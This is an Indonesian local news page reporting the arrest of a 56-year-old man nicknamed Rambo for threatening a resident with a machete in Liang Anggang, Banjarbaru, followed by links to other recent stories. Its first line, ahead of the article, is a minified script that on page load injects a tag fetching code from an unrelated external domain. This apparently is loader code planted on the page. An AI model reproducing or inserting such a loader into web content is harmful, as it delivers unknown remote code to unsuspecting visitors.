(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Rambo Pakai Parang di Liang Anggang Dibawa Polisi


KANALKALIMANTAN.COM, BANJARBARU – Seorang laki-laki berinisial DR (56) alias Rambo pakai parang mengancam seorang warga di Jalan Jurusan Pelaihari, Liang Anggang, Kota Banjarbaru.

Peristiwa pengancaman Rambo, warga Jalan Peramuan Komplek Tamara Permai Indah, Kelurahan Landasan Ulin Tengah yang menggunakan sebilah parang itu terjadi di kawasan Jalan Kelurahan RT 009 RW 003, Liang Anggang, Kota Banjarbaru pada Jumat (12/8/2022) sekitar pukul 01.30 Wita.

Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi mengatakan, saat itu pelapor sedang tidur di atas kendaraannya dan kemudian dihampiri oleh Rambo dengan menenteng sebilah parang.

“Rambo mendatangi pelapor sambil memegang parang dengan berkata timpas kah (Bacok, red) karena ketakutan pelapor dan satu saksi menjauh dari lokasi kejadin,” ujar Aipda Kardi Gunadi, Selasa (16/8/2022) siang.

 

 

Baca juga: ‘Alarm’ HIV/AIDS di Banjarbaru, Sebagian Penderita Belum Terdeteksi

Aipda Kardi mengatakan kronologi kejadi berawal dari kesalahpahaman antara Rambo dan pelapor. Terkait pekerjaan bongkar muat kayu yang kemudian tersulutnya emosi Rambo.“Pelaku melakukan pengancaman terhadap pelapor, karena adanya kesalahpahaman antara pelaku dan pelapor, yaitu masalah bongkar kayu karena pelaku saat itu baru saja menurunkan kayu, sedangkan pelapor sudah berkali-kali, sehingga pelaku langsung emosi kepada korban, dan adapun maksud dan tujuan pelaku mengancam hanya ingin menakut-nakuti saja,” bebernya.

Menanggapi laporan tersebut, Kapolsek Liang Anggang menerjunkan Macan Barbar yang dipimpin Aiptu Deden A Lesmana, kemudian berhasil meringkus Rambo di rumahnya Jalan Kelurahan.

“Kini Rambo dan barang bukti sebilah parang yang digunakan untuk mengancam korban sudah diamankan di Mapolsek Liang Anggang,” katanya.

Berdasarkan tindakannya, Rambo terjerat Pasal 2 ayat (1) UU Darurat No. 12 tahun 1951 atau Pasal 335 KUHP. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

10 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

18 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

21 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.